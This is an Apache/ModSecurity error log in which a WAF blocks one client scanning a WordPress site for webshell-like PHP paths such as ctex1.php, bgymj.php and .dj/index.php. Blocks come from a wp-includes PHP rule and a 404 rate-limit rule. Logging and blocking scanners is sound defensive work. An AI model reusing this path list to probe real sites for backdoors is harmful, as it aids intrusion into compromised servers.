[Sat May 23 20:53:38.352716 2026] [:error] [pid 44325:tid 44345] [client 4.213.99.137:1654] [client 4.213.99.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/index.php"] [unique_id "ahGjUlgUQb4puB_2yV8mFAAAAZE"]
[Sat May 23 20:53:38.630387 2026] [autoindex:error] [pid 44296:tid 44307] [client 4.213.99.137:1306] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat May 23 20:53:45.193589 2026] [:error] [pid 44296:tid 44321] [client 4.213.99.137:1306] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ctex1.php"] [unique_id "ahGjWZdrUdFI6ijvMkmM0AAAAVc"]
[Sat May 23 20:53:45.464482 2026] [:error] [pid 30941:tid 30979] [client 4.213.99.137:1117] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ctex1.php"] [unique_id "ahGjWXTIgjSDhiZmvlXwJgAAAEM"]
[Sat May 23 20:53:45.780824 2026] [:error] [pid 30941:tid 30987] [client 4.213.99.137:1244] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ctex1.php"] [unique_id "ahGjWXTIgjSDhiZmvlXwJwAAAEs"]
[Sat May 23 20:53:46.068585 2026] [:error] [pid 44296:tid 44303] [client 4.213.99.137:1268] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ctex1.php"] [unique_id "ahGjWpdrUdFI6ijvMkmM1QAAAUU"]
[Sat May 23 20:53:46.352187 2026] [:error] [pid 30941:tid 30995] [client 4.213.99.137:1986] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/defaults.php"] [unique_id "ahGjWnTIgjSDhiZmvlXwKQAAAFM"]
[Sat May 23 20:53:46.629519 2026] [:error] [pid 44326:tid 44371] [client 4.213.99.137:1273] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/defaults.php"] [unique_id "ahGjWsyrPrcAqE-FOKKg2QAAAdA"]
[Sat May 23 20:53:46.967715 2026] [:error] [pid 30942:tid 31023] [client 4.213.99.137:1381] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/defaults.php"] [unique_id "ahGjWtUosz64YFiBlG12CAAAAJQ"]
[Sat May 23 20:53:47.250441 2026] [:error] [pid 30941:tid 30985] [client 4.213.99.137:2020] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/defaults.php"] [unique_id "ahGjW3TIgjSDhiZmvlXwLAAAAEk"]
[Sat May 23 20:53:47.532084 2026] [:error] [pid 30941:tid 30980] [client 4.213.99.137:1224] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "ahGjW3TIgjSDhiZmvlXwLQAAAEQ"]
[Sat May 23 20:53:47.885718 2026] [:error] [pid 30941:tid 30991] [client 4.213.99.137:1845] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "ahGjW3TIgjSDhiZmvlXwLwAAAE8"]
[Sat May 23 20:53:48.407146 2026] [:error] [pid 30941:tid 30999] [client 4.213.99.137:2032] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "ahGjXHTIgjSDhiZmvlXwMwAAAFc"]
[Sat May 23 20:53:48.737128 2026] [:error] [pid 44326:tid 44379] [client 4.213.99.137:1260] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "ahGjXMyrPrcAqE-FOKKg3gAAAdg"]
[Sat May 23 20:53:49.106284 2026] [:error] [pid 44326:tid 44361] [client 4.213.99.137:2046] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dropdown.php"] [unique_id "ahGjXcyrPrcAqE-FOKKg3wAAAcY"]
[Sat May 23 20:53:49.434732 2026] [:error] [pid 30942:tid 31027] [client 4.213.99.137:1156] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dropdown.php"] [unique_id "ahGjXdUosz64YFiBlG12CwAAAJg"]
[Sat May 23 20:53:49.808228 2026] [:error] [pid 44296:tid 44309] [client 4.213.99.137:2029] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dropdown.php"] [unique_id "ahGjXZdrUdFI6ijvMkmM2QAAAUs"]
[Sat May 23 20:53:50.220736 2026] [:error] [pid 44326:tid 44372] [client 4.213.99.137:1255] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dropdown.php"] [unique_id "ahGjXsyrPrcAqE-FOKKg4gAAAdE"]
[Sat May 23 20:53:50.683000 2026] [:error] [pid 25876:tid 25900] [client 4.213.99.137:2004] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/files/index.php"] [unique_id "ahGjXgSpWUCKPezIBJCuXgAAARY"]
[Sat May 23 20:53:51.100652 2026] [:error] [pid 31039:tid 31041] [client 4.213.99.137:1169] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/files/index.php"] [unique_id "ahGjX6IYDYo8WvA5zLJGpAAAAMA"]
[Sat May 23 20:53:51.371075 2026] [:error] [pid 25876:tid 25892] [client 4.213.99.137:1708] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/files/index.php"] [unique_id "ahGjXwSpWUCKPezIBJCuXwAAAQ4"]
[Sat May 23 20:53:51.735992 2026] [:error] [pid 44296:tid 44300] [client 4.213.99.137:2033] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/files/index.php"] [unique_id "ahGjX5drUdFI6ijvMkmM4gAAAUI"]
[Sat May 23 20:53:52.072587 2026] [:error] [pid 44326:tid 44370] [client 4.213.99.137:1279] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/flower.php"] [unique_id "ahGjYMyrPrcAqE-FOKKg5QAAAc8"]
[Sat May 23 20:53:52.436958 2026] [:error] [pid 44326:tid 44362] [client 4.213.99.137:1240] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/flower.php"] [unique_id "ahGjYMyrPrcAqE-FOKKg5gAAAcc"]
[Sat May 23 20:53:52.733151 2026] [:error] [pid 44326:tid 44358] [client 4.213.99.137:1252] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/flower.php"] [unique_id "ahGjYMyrPrcAqE-FOKKg6QAAAcM"]
[Sat May 23 20:53:53.022692 2026] [:error] [pid 44326:tid 44366] [client 4.213.99.137:2027] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/flower.php"] [unique_id "ahGjYcyrPrcAqE-FOKKg6wAAAcs"]
[Sat May 23 20:53:53.337937 2026] [:error] [pid 44326:tid 44364] [client 4.213.99.137:1566] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/insc.php"] [unique_id "ahGjYcyrPrcAqE-FOKKg7gAAAck"]
[Sat May 23 20:53:53.825656 2026] [:error] [pid 44296:tid 44321] [client 4.213.99.137:1247] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/insc.php"] [unique_id "ahGjYZdrUdFI6ijvMkmM5QAAAVc"]
[Sat May 23 20:53:54.176634 2026] [:error] [pid 44296:tid 44305] [client 4.213.99.137:1234] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/insc.php"] [unique_id "ahGjYpdrUdFI6ijvMkmM6AAAAUc"]
[Sat May 23 20:53:54.516502 2026] [:error] [pid 25876:tid 25896] [client 4.213.99.137:1189] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/insc.php"] [unique_id "ahGjYgSpWUCKPezIBJCuYgAAARI"]
[Sat May 23 20:53:54.900203 2026] [:error] [pid 25876:tid 25901] [client 4.213.99.137:2037] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "ahGjYgSpWUCKPezIBJCuYwAAARc"]
[Sat May 23 20:53:55.267797 2026] [:error] [pid 25876:tid 25897] [client 4.213.99.137:2045] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "ahGjYwSpWUCKPezIBJCuZQAAARM"]
[Sat May 23 20:53:55.567582 2026] [:error] [pid 44296:tid 44303] [client 4.213.99.137:1353] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "ahGjY5drUdFI6ijvMkmM7AAAAUU"]
[Sat May 23 20:53:55.883347 2026] [:error] [pid 30940:tid 30952] [client 4.213.99.137:1228] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "ahGjY5qUP2XZmzp7RDoNOAAAAAM"]
[Sat May 23 20:53:56.222199 2026] [:error] [pid 30940:tid 30971] [client 4.213.99.137:1174] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.dj/index.php"] [unique_id "ahGjZJqUP2XZmzp7RDoNOQAAABY"]
[Sat May 23 20:53:56.500331 2026] [:error] [pid 44326:tid 44375] [client 4.213.99.137:1214] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.dj/index.php"] [unique_id "ahGjZMyrPrcAqE-FOKKg9AAAAdQ"]
[Sat May 23 20:53:56.860766 2026] [:error] [pid 44326:tid 44360] [client 4.213.99.137:2001] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.dj/index.php"] [unique_id "ahGjZMyrPrcAqE-FOKKg9gAAAcU"]
[Sat May 23 20:53:57.221336 2026] [:error] [pid 44296:tid 44314] [client 4.213.99.137:1354] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.dj/index.php"] [unique_id "ahGjZZdrUdFI6ijvMkmM7gAAAVA"]
[Sat May 23 20:53:57.757602 2026] [:error] [pid 44326:tid 44366] [client 4.213.99.137:2021] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "ahGjZcyrPrcAqE-FOKKg-gAAAcs"]
[Sat May 23 20:53:58.129654 2026] [:error] [pid 44326:tid 44374] [client 4.213.99.137:1807] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "ahGjZsyrPrcAqE-FOKKg_QAAAdM"]
[Sat May 23 20:53:58.472866 2026] [:error] [pid 31039:tid 31063] [client 4.213.99.137:1170] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "ahGjZqIYDYo8WvA5zLJGpQAAANY"]
[Sat May 23 20:53:58.813123 2026] [:error] [pid 31039:tid 31060] [client 4.213.99.137:1173] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "ahGjZqIYDYo8WvA5zLJGpwAAANM"]
[Sat May 23 20:53:59.114560 2026] [:error] [pid 44326:tid 44368] [client 4.213.99.137:1172] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/011i.php"] [unique_id "ahGjZ8yrPrcAqE-FOKKhAgAAAc0"]
[Sat May 23 20:53:59.395449 2026] [:error] [pid 30941:tid 30979] [client 4.213.99.137:1622] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/011i.php"] [unique_id "ahGjZ3TIgjSDhiZmvlXwOwAAAEM"]
[Sat May 23 20:53:59.710945 2026] [:error] [pid 44296:tid 44320] [client 4.213.99.137:2042] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/011i.php"] [unique_id "ahGjZ5drUdFI6ijvMkmM8QAAAVY"]
[Sat May 23 20:54:00.115666 2026] [:error] [pid 44296:tid 44317] [client 4.213.99.137:1617] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/011i.php"] [unique_id "ahGjaJdrUdFI6ijvMkmM8wAAAVM"]
[Sat May 23 20:54:00.442036 2026] [:error] [pid 25876:tid 25883] [client 4.213.99.137:1801] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "ahGjaASpWUCKPezIBJCuawAAAQU"]
[Sat May 23 20:54:00.856755 2026] [:error] [pid 31039:tid 31058] [client 4.213.99.137:1378] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "ahGjaKIYDYo8WvA5zLJGqQAAANE"]
[Sat May 23 20:54:01.179908 2026] [:error] [pid 44325:tid 44334] [client 4.213.99.137:1275] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "ahGjaVgUQb4puB_2yV8mJgAAAYY"]
[Sat May 23 20:54:01.521587 2026] [:error] [pid 44326:tid 44356] [client 4.213.99.137:2016] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "ahGjacyrPrcAqE-FOKKhBQAAAcE"]
[Sat May 23 20:54:01.899728 2026] [:error] [pid 44325:tid 44330] [client 4.213.99.137:1841] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/166.php"] [unique_id "ahGjaVgUQb4puB_2yV8mKAAAAYI"]
[Sat May 23 20:54:02.338033 2026] [:error] [pid 30942:tid 31019] [client 4.213.99.137:1988] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/166.php"] [unique_id "ahGjatUosz64YFiBlG12DgAAAJA"]
[Sat May 23 20:54:02.689759 2026] [:error] [pid 44325:tid 44348] [client 4.213.99.137:1278] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/166.php"] [unique_id "ahGjalgUQb4puB_2yV8mKgAAAZQ"]
[Sat May 23 20:54:03.115722 2026] [:error] [pid 44325:tid 44338] [client 4.213.99.137:1155] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/166.php"] [unique_id "ahGja1gUQb4puB_2yV8mLAAAAYo"]
[Sat May 23 20:54:03.451182 2026] [:error] [pid 44296:tid 44300] [client 4.213.99.137:1373] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/leaf.php"] [unique_id "ahGja5drUdFI6ijvMkmM-AAAAUI"]
[Sat May 23 20:54:03.777395 2026] [:error] [pid 30942:tid 31025] [client 4.213.99.137:2047] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/leaf.php"] [unique_id "ahGja9Uosz64YFiBlG12EAAAAJY"]
